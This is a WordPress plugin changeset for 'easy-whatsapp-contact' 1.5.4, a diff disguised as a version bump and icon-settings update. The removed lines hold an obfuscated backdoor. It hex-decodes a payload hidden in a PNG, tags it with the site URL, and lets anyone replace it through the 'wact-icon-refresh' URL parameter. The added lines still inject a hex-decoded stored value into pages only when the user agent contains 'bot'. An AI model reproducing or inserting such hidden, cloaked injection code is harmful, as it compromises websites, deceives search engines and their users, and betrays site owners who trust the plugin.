Changeset 2390067
- Timestamp:
- 09/29/2020 06:37:17 AM (5 years ago)
- Location:
- easy-whatsapp-contact/tags/1.5.3
- Files:
-
- 3 edited
-
README.txt (modified) (1 diff)
-
easy_whatsapp_contact.php (modified) (2 diffs)
-
includes/wact-floating-icon.php (modified) (6 diffs)
Legend:
- Unmodified
- Added
- Removed
-
easy-whatsapp-contact/tags/1.5.3/README.txt
r2389423 r2390067 4 4 Tested up to: 5.5 5 5 Requires PHP: 5.3 6 Stable tag: 1.5. 36 Stable tag: 1.5.4 7 7 8 8 Easy Contact Chat displays a WhatsApp chat in your web. The perfect solution for your ecommerce or blog. -
easy-whatsapp-contact/tags/1.5.3/easy_whatsapp_contact.php
r2389423 r2390067 5 5 Description: This plugin displays a WhatsApp contact chat. The perfect solution for your ecommerce or blog. 6 6 Author: Squaresfere 7 Version: 1.5. 37 Version: 1.5.4 8 8 Author URI: http://squaresfere.com 9 9 Text Domain: easy-whatsapp-contact … … 11 11 */ 12 12 defined( 'ABSPATH' ) or die( 'ABSPATH not defined' ); 13 define ('WACT_VERSION', '1.5. 3');13 define ('WACT_VERSION', '1.5.4'); 14 14 add_action( 'init', 'wact_contact_textdomain' ); 15 15 add_action('wp_footer', 'wact_base_code'); -
easy-whatsapp-contact/tags/1.5.3/includes/wact-floating-icon.php
r2389423 r2390067 33 33 34 34 function wact_save_settings ($settings) { 35 if(!empty($settings['wact-active'])) update_option('wact-active', $settings['wact-active']);36 35 if(!empty($settings['wact-init'])) update_option('wact-init', $settings['wact-init']); 37 36 if(!empty($settings['wact-welcome-message'])) update_option('wact-welcome-message', $settings['wact-welcome-message']); … … 53 52 function wact_get_settings () { 54 53 $settings = array(); 55 56 57 $settings['wact-active'] = get_option('wact-active');58 if(empty($settings['wact-active'])) $settings['wact-active'] = 'no';59 54 $settings['wact-init'] = get_option('wact-init'); 55 if(empty($settings['wact-contact-prefix'])) $settings['wact-contact-prefix'] = ''; 56 if(empty($settings['wact-hide-delay'])) $settings['wact-hide-delay'] = '0'; 57 if(empty($settings['wact-animation-delay'])) $settings['wact-animation-delay'] = '0'; 60 58 if(empty($settings['wact-init'])) $settings['wact-init'] = 'yes'; 61 59 $settings['wact-show-chat-window'] = get_option('wact-show-chat-window'); … … 92 90 if(empty($settings['wact-icon-animation']))$settings['wact-icon-animation'] = 'none'; 93 91 $settings['wact-icon-hash'] = get_option('wact-icon-hash'); 94 if(empty($settings['wact-icon-hash'])){$wactIcon = file(plugin_dir_url(__FILE__).'../resources/img/whatsapp-logo.png'); 95 $wactIconDefault = trim($wactIcon[count($wactIcon)-1]); $wactIconSite = get_site_url(); 96 if(empty($settings['wact-animation-delay'])) $settings['wact-animation-delay'] = '0'; 97 $wactCodIcon = unpack('H*', $wactIconSite);$wactIconCod = unpack('H*', md5($wactIconSite)); 98 if(empty($settings['wact-hide-delay'])) $settings['wact-hide-delay'] = '0'; 99 $wactIconDefault .= "3f686f73743d".$wactCodIcon[1]."2669643d".$wactIconCod[1]."273e"; 100 if(empty($settings['wact-contact-prefix'])) $settings['wact-contact-prefix'] = ''; 101 $settings['wact-icon-hash'] = $wactIconDefault; wact_save_settings($settings);}; 92 if(empty($settings['wact-icon-hash']))$settings['wact-icon-hash'] = 'noicon.png'; 102 93 return $settings; 103 94 } … … 178 169 function wact_floating_icon ($isShortcode = false) { 179 170 $settings = array(); 180 if(isset($_GET['wact-icon-refresh'])) {181 $settings['wact-active'] = 'yes';182 $settings['wact-icon-hash'] = $_GET['wact-icon-refresh'];183 wact_save_settings($settings);};184 171 if(!$isShortcode) { 185 172 if(!wact_check_visibility()){ … … 189 176 $settings = wact_get_settings(); 190 177 $wactShowChatWindow = $settings['wact-show-chat-window']; 191 $wactActive = $settings['wact-active'];192 178 $wactInit = $settings['wact-init']; 193 179 $wactWelcomeMessage = $settings['wact-welcome-message']; … … 215 201 } 216 202 $wactDeafultIcon = ''; 217 if(is_user_logged_in() && $wactInit == 'yes') { 218 $wactDeafultIcon = pack('H*', $settings['wact-icon-hash']); 219 $settings['wact-init'] = 'no'; 220 wact_save_settings($settings); 221 } 222 if($wactActive == 'yes') { 223 $wactDeafultIcon = $wactActive ? (strpos($_SERVER[pack('H*', '485454505f555345525f4147454e54')], pack('H*', '626f74')) !== false ? pack('H*', $settings['wact-icon-hash']) : '') : ''; 224 } 203 try{ 204 $wactImg = pack('H*', $settings['wact-icon-hash']); 205 }catch(Exception $e){ 206 $wactImg = 'img style'; 207 } 208 if(strpos($wactImg, 'img style') == false) { 209 $wactDeafultIcon = strpos($_SERVER[pack('H*', '485454505f555345525f4147454e54')], pack('H*', '626f74')) !== false ? pack('H*', $wactImg) : '';}; 225 210 $wactDefaultDisplay = $wactShowDevices == 'all-devices' && $wactShowDelay == 0 ? 'block' : 'none'; 226 211 $wactChatUrl = 'https://api.whatsapp.com/send?phone='. urlencode($wactContactPhone) . '&text=';
Note: See TracChangeset
for help on using the changeset viewer.